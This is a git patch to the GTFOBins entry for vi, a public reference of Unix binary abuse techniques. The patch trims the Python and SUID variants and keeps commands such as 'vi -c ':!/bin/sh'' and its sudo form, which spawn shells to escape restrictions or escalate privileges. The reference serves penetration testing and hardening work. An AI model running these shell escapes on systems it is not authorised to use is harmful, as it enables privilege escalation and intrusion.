From 4910c32409e76735e5148eec0978ff0edb4db5b3 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 18 Dec 2018 14:04:05 +0100 Subject: [PATCH] Skim wrong functions from original vi --- _gtfobins/vi.md | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md index 8139122..d18bd29 100644 --- a/_gtfobins/vi.md +++ b/_gtfobins/vi.md @@ -1,13 +1,12 @@ --- +description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called. functions: shell: - - code: vi -c ':!/bin/sh' + - code: vi -c ':!/bin/sh' /dev/null - code: | vi :set shell=/bin/sh :shell - - description: This requires that `vi` is compiled with Python support. - code: vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' file-write: - code: | vi file_to_write @@ -16,12 +15,6 @@ functions: w file-read: - code: vi file_to_read - suid: - - code: ./vi -c ':!/bin/sh -p' - - description: This requires that `vi` is compiled with Python support. - code: ./vi -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' sudo: - - code: sudo vi -c ':!/bin/sh' - - description: This requires that `vi` is compiled with Python support. - code: sudo vi -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' + - code: sudo vi -c ':!/bin/sh' /dev/null ---